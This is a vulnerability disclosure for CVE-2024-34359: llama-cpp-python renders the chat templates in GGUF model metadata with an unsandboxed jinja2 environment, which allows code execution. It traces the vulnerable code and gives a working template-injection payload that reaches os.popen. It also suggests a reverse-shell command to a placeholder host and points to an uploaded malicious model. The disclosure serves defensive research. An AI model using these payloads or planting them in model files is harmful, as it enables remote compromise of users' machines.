CVE-2024-34359

Description

## Description `llama-cpp-python` depends on class `Llama` in `llama.py` to load `.gguf` llama.cpp or Latency Machine Learning Models. The `__init__` constructor built in the `Llama` takes several parameters to configure the loading and running of the model. Other than `NUMA, LoRa settings`, `loading tokenizers,` and `hardware settings`, `__init__` also loads the `chat template` from targeted `.gguf` 's Metadata and furtherly parses it to `llama_chat_format.Jinja2ChatFormatter.to_chat_handler()` to construct the `self.chat_handler` for this model. Nevertheless, `Jinja2ChatFormatter` parse the `chat template` within the Metadate with sandbox-less `jinja2.Environment`, which is furthermore rendered in `__call__` to construct the `prompt` of interaction. This allows `jinja2` Server Side Template Injection which leads to RCE by a carefully constructed payload. ## Source-to-Sink ### `llama.py` -> `class Llama` -> `__init__`: ```python class Llama: """High-level Python wrapper for a llama.cpp model.""" __backend_initialized = False def __init__( self, model_path: str, # lots of params; Ignoring ): self.verbose = verbose set_verbose(verbose) if not Llama.__backend_initialized: with suppress_stdout_stderr(disable=verbose): llama_cpp.llama_backend_init() Llama.__backend_initialized = True # Ignoring lines of unrelated codes..... try: self.metadata = self._model.metadata() except Exception as e: self.metadata = {} if self.verbose: print(f"Failed to load metadata: {e}", file=sys.stderr) if self.verbose: print(f"Model metadata: {self.metadata}", file=sys.stderr) if ( self.chat_format is None and self.chat_handler is None and "tokenizer.chat_template" in self.metadata ): chat_format = llama_chat_format.guess_chat_format_from_gguf_metadata( self.metadata ) if chat_format is not None: self.chat_format = chat_format if self.verbose: print(f"Guessed chat format: {chat_format}", file=sys.stderr) else: template = self.metadata["tokenizer.chat_template"] try: eos_token_id = int(self.metadata["tokenizer.ggml.eos_token_id"]) except: eos_token_id = self.token_eos() try: bos_token_id = int(self.metadata["tokenizer.ggml.bos_token_id"]) except: bos_token_id = self.token_bos() eos_token = self._model.token_get_text(eos_token_id) bos_token = self._model.token_get_text(bos_token_id) if self.verbose: print(f"Using gguf chat template: {template}", file=sys.stderr) print(f"Using chat eos_token: {eos_token}", file=sys.stderr) print(f"Using chat bos_token: {bos_token}", file=sys.stderr) self.chat_handler = llama_chat_format.Jinja2ChatFormatter( template=template, eos_token=eos_token, bos_token=bos_token, stop_token_ids=[eos_token_id], ).to_chat_handler() if self.chat_format is None and self.chat_handler is None: self.chat_format = "llama-2" if self.verbose: print(f"Using fallback chat format: {chat_format}", file=sys.stderr) ``` In `llama.py`, `llama-cpp-python` defined the fundamental class for model initialization parsing (Including `NUMA, LoRa settings`, `loading tokenizers,` and stuff ). In our case, we will be focusing on the parts where it processes `metadata`; it first checks if `chat_format` and `chat_handler` are `None` and checks if the key `tokenizer.chat_template` exists in the metadata dictionary `self.metadata`. If it exists, it will try to guess the `chat format` from the `metadata`. If the guess fails, it will get the value of `chat_template` directly from `self.metadata.self.metadata` is set during class initialization and it tries to get the metadata by calling the model's metadata() method, after that, the `chat_template` is parsed into `llama_chat_format.Jinja2ChatFormatter` as params which furthermore stored the `to_chat_handler()` as `chat_handler` ### `llama_chat_format.py` -> `Jinja2ChatFormatter`: `self._environment = jinja2.Environment( -> from_string(self.template) -> self._environment.render(` ```python class ChatFormatter(Protocol): """Base Protocol for a chat formatter. A chat formatter is a function that takes a list of messages and returns a chat format response which can be used to generate a completion. The response can also include a stop token or list of stop tokens to use for the completion.""" def __call__( self, *, messages: List[llama_types.ChatCompletionRequestMessage], **kwargs: Any, ) -> ChatFormatterResponse: ... class Jinja2ChatFormatter(ChatFormatter): def __init__( self, template: str, eos_token: str, bos_token: str, add_generation_prompt: bool = True, stop_token_ids: Optional[List[int]] = None, ): """A chat formatter that uses jinja2 templates to format the prompt.""" self.template = template self.eos_token = eos_token self.bos_token = bos_token self.add_generation_prompt = add_generation_prompt self.stop_token_ids = set(stop_token_ids) if stop_token_ids is not None else None self._environment = jinja2.Environment( loader=jinja2.BaseLoader(), trim_blocks=True, lstrip_blocks=True, ).from_string(self.template) def __call__( self, *, messages: List[llama_types.ChatCompletionRequestMessage], functions: Optional[List[llama_types.ChatCompletionFunction]] = None, function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None, tools: Optional[List[llama_types.ChatCompletionTool]] = None, tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None, **kwargs: Any, ) -> ChatFormatterResponse: def raise_exception(message: str): raise ValueError(message) prompt = self._environment.render( messages=messages, eos_token=self.eos_token, bos_token=self.bos_token, raise_exception=raise_exception, add_generation_prompt=self.add_generation_prompt, functions=functions, function_call=function_call, tools=tools, tool_choice=tool_choice, ) ``` As we can see in `llama_chat_format.py` -> `Jinja2ChatFormatter`, the constructor `__init__` initialized required `members` inside of the class; Nevertheless, focusing on this line: ```python self._environment = jinja2.Environment( loader=jinja2.BaseLoader(), trim_blocks=True, lstrip_blocks=True, ).from_string(self.template) ``` Fun thing here: `llama_cpp_python` directly loads the `self.template` (`self.template = template` which is the `chat template` located in the `Metadate` that is parsed as a param) via `jinja2.Environment.from_string(` without setting any sandbox flag or using the protected `immutablesandboxedenvironment `class. This is extremely unsafe since the attacker can implicitly tell `llama_cpp_python` to load malicious `chat template` which is furthermore rendered in the `__call__` constructor, allowing RCEs or Denial-of-Service since `jinja2`'s renderer evaluates embed codes like `eval()`, and we can utilize expose method by exploring the attribution such as `__globals__`, `__subclasses__` of pretty much anything. ```python def __call__( self, *, messages: List[llama_types.ChatCompletionRequestMessage], functions: Optional[List[llama_types.ChatCompletionFunction]] = None, function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None, tools: Optional[List[llama_types.ChatCompletionTool]] = None, tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None, **kwargs: Any, ) -> ChatFormatterResponse: def raise_exception(message: str): raise ValueError(message) prompt = self._environment.render( # rendered! messages=messages, eos_token=self.eos_token, bos_token=self.bos_token, raise_exception=raise_exception, add_generation_prompt=self.add_generation_prompt, functions=functions, function_call=function_call, tools=tools, tool_choice=tool_choice, ) ``` ## Exploiting For our exploitation, we first downloaded [qwen1_5-0_5b-chat-q2_k.gguf](https://huggingface.co/Qwen/Qwen1.5-0.5B-Chat-GGUF/blob/main/qwen1_5-0_5b-chat-q2_k.gguf) of `Qwen/Qwen1.5-0.5B-Chat-GGUF` on `huggingface` as the base of the exploitation, by importing the file to `Hex-compatible` editors (In my case I used the built-in `Hex editor` or `vscode`), you can try to search for key `chat_template` (imported as `template = self.metadata["tokenizer.chat_template"]` in `llama-cpp-python`): <img src="https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405021808647.png" alt="image-20240502180804562" style="zoom: 25%;" /> `qwen1_5-0_5b-chat-q2_k.gguf` appears to be using the OG `role+message` and using the fun `jinja2` syntax. By first replacing the original `chat_template` in `\x00`, then inserting our SSTI payload. We constructed this payload which firstly iterates over the subclasses of the base class of all classes in Python. The expression `().__class__.__base__.__subclasses__()` retrieves a list of all subclasses of the basic `object` class and then we check if its `warning` by `if "warning" in x.__name__`, if it is , we access its module via the `_module` attribute then access Python's built-in functions through `__builtins__` and uses the `__import__` function to import the `os` module and finally we called `os.popen` to `touch /tmp/retr0reg`, create an empty file call `retr0reg` under `/tmp/` ```python {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("touch /tmp/retr0reg")}}{%endif%}{% endfor %} ``` in real life exploiting instance, we can change `touch /tmp/retr0reg` into arbitrary codes like `sh -i >& /dev/tcp/<HOST>/<PORT> 0>&1` to create a reverse shell connection to specified host, in our case we are using `touch /tmp/retr0reg` to showcase the exploitability of this vulnerability. <img src="https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405022009159.png" alt="image-20240502200909127" style="zoom:50%;" /> After these steps, we got ourselves a malicious model with an embedded payload in `chat_template` of the `metahead`, in which will be parsed and rendered by `llama.py:class Llama:init -> self.chat_handler `-> `llama_chat_format.py:Jinja2ChatFormatter:init -> self._environment = jinja2.Environment(` -> ``llama_chat_format.py:Jinja2ChatFormatter:call -> self._environment.render(` *(The uploaded malicious model file is in https://huggingface.co/Retr0REG/Whats-up-gguf )* ```python from llama_cpp import Llama # Loading locally: model = Llama(model_path="qwen1_5-0_5b-chat-q2_k.gguf") # Or loading from huggingface: model = Llama.from_pretrained( repo_id="Retr0REG/Whats-up-gguf", filename="qwen1_5-0_5b-chat-q2_k.gguf", verbose=False ) print(model.create_chat_completion(messages=[{"role": "user","content": "what is the meaning of life?"}])) ``` Now when the model is loaded whether as ` Llama.from_pretrained` or `Llama` and chatted, our malicious code in the `chat_template` of the `metahead` will be triggered and execute arbitrary code. PoC video here: https://drive.google.com/file/d/1uLiU-uidESCs_4EqXDiyKR1eNOF1IUtb/view?usp=sharing